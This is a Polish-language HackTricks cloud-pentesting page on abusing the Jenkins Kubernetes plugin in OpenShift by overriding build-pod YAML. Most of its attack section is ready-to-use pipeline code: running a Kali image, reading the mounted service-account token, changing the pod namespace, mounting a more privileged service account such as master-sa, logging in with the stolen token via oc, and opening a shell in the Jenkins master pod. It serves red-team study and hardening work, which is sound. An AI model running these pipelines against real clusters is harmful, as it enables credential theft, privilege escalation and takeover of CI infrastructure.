Jenkins w Openshift - nadpisywanie podów budowy

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Oryginalnym autorem tej strony jest Fares

Wtyczka Kubernetes dla Jenkins

Ta wtyczka jest głównie odpowiedzialna za podstawowe funkcje Jenkins w klastrze openshift/kubernetes. Oficjalna dokumentacja tutaj Oferuje kilka funkcjonalności, takich jak możliwość dla deweloperów nadpisania niektórych domyślnych konfiguracji poda budowy jenkins.

Podstawowa funkcjonalność

Ta wtyczka pozwala deweloperom na elastyczność podczas budowania ich kodu w odpowiednim środowisku.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: maven
image: maven:3.8.1-jdk-8
command:
- sleep
args:
- 99d
''') {
node(POD_LABEL) {
stage('Get a Maven project') {
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
container('maven') {
stage('Build a Maven project') {
sh 'mvn -B -ntp clean install'
}
}
}
}
}

Niektóre nadużycia wykorzystujące nadpisanie yaml pod

Można jednak nadużyć to, aby użyć dowolnego dostępnego obrazu, takiego jak Kali Linux, i wykonać dowolne polecenia za pomocą preinstalowanych narzędzi z tego obrazu. W poniższym przykładzie możemy wyeksfiltrować token serviceaccount uruchomionego poda.

podTemplate(yaml: '''
apiVersion: v1
kind: Pod
spec:
containers:
- name: kali
image: myregistry/mykali_image:1.0
command:
- sleep
args:
- 1d
''') {
node(POD_LABEL) {
stage('Evil build') {
container('kali') {
stage('Extract openshift token') {
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
}
}
}
}
}

Inna składnia, aby osiągnąć ten sam cel.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Przykład nadpisania przestrzeni nazw poda

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: RANDOM-NAMESPACE
spec:
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Inny przykład, który próbuje zamontować serviceaccount (który może mieć więcej uprawnień niż domyślny, uruchamiający twoją kompilację) na podstawie jego nazwy. Może być konieczne najpierw zgadnąć lub wyliczyć istniejące serviceaccounty.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: MY_SERVICE_ACCOUNT
containers:
- name: kali-container
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}

Ta sama technika dotyczy próby zamontowania Secret. Ostatecznym celem jest ustalenie, jak skonfigurować budowę swojego poda, aby skutecznie przejąć kontrolę lub uzyskać uprawnienia.

Idąc dalej

Gdy przyzwyczaisz się do zabawy z tym, wykorzystaj swoją wiedzę na temat Jenkins i Kubernetes/Openshift, aby znaleźć błędne konfiguracje / nadużycia.

Zadaj sobie następujące pytania:

  • Które konto serwisowe jest używane do wdrażania podów budowy?
  • Jakie role i uprawnienia ma? Czy może odczytywać sekrety przestrzeni nazw, w której obecnie się znajduję?
  • Czy mogę dalej enumerować inne pody budowy?
  • Z skompromitowanego sa, czy mogę wykonywać polecenia na węźle/podzie master?
  • Czy mogę dalej enumerować klaster, aby przejść gdzie indziej?
  • Które SCC jest zastosowane?

Możesz dowiedzieć się, które polecenia oc/kubectl wydać tutaj i tutaj.

Możliwe scenariusze privesc/pivoting

Załóżmy, że podczas swojej oceny odkryłeś, że wszystkie budowy jenkins działają w przestrzeni nazw zwanej worker-ns. Ustalono, że domyślne konto serwisowe o nazwie default-sa jest zamontowane na podach budowy, jednak nie ma zbyt wielu uprawnień, z wyjątkiem dostępu do odczytu niektórych zasobów, ale udało ci się zidentyfikować istniejące konto serwisowe o nazwie master-sa. Załóżmy również, że masz zainstalowane polecenie oc wewnątrz działającego kontenera budowy.

Za pomocą poniższego skryptu budowy możesz przejąć kontrolę nad kontem serwisowym master-sa i dalej enumerować.

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
spec:
serviceAccount: master-sa
containers:
- name: evil
image: random_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
sh 'oc --token=$token whoami'
}
}
}
}
}
}

W zależności od twojego dostępu, musisz kontynuować atak z skryptu budowy lub możesz bezpośrednio zalogować się jako ten sa na działającym klastrze:

oc login --token=$token --server=https://apiserver.com:port

Jeśli ten sa ma wystarczające uprawnienia (takie jak pod/exec), możesz również przejąć kontrolę nad całą instancją jenkins, wykonując polecenia wewnątrz podu węzła master, jeśli działa w tej samej przestrzeni nazw. Możesz łatwo zidentyfikować ten pod po jego nazwie oraz po tym, że musi montować PVC (persistent volume claim) używane do przechowywania danych jenkins.

oc rsh pod_name -c container_name

W przypadku, gdy pod węzła głównego nie działa w tej samej przestrzeni nazw co węzły robocze, możesz spróbować podobnych ataków, celując w przestrzeń nazw główną. Załóżmy, że nazywa się jenkins-master. Pamiętaj, że serviceAccount master-sa musi istnieć w przestrzeni nazw jenkins-master (i może nie istnieć w przestrzeni nazw worker-ns).

pipeline {
stages {
stage('Process pipeline') {
agent {
kubernetes {
yaml """
metadata:
namespace: jenkins-master
spec:
serviceAccount: master-sa
containers:
- name: evil-build
image: myregistry/mykali_image:1.0
imagePullPolicy: IfNotPresent
command:
- sleep
args:
- 1d
"""
}
}
stages {
stage('Say hello') {
steps {
echo 'Hello from a docker container'
sh 'env'
}
}
}
}
}
}



> [!TIP]
> Ucz się & ćwicz AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się & ćwicz Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wspieraj HackTricks</summary>
>
> - Sprawdź [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) lub [**telegram group**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podziel się hacking tricks, zgłaszając PRy do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>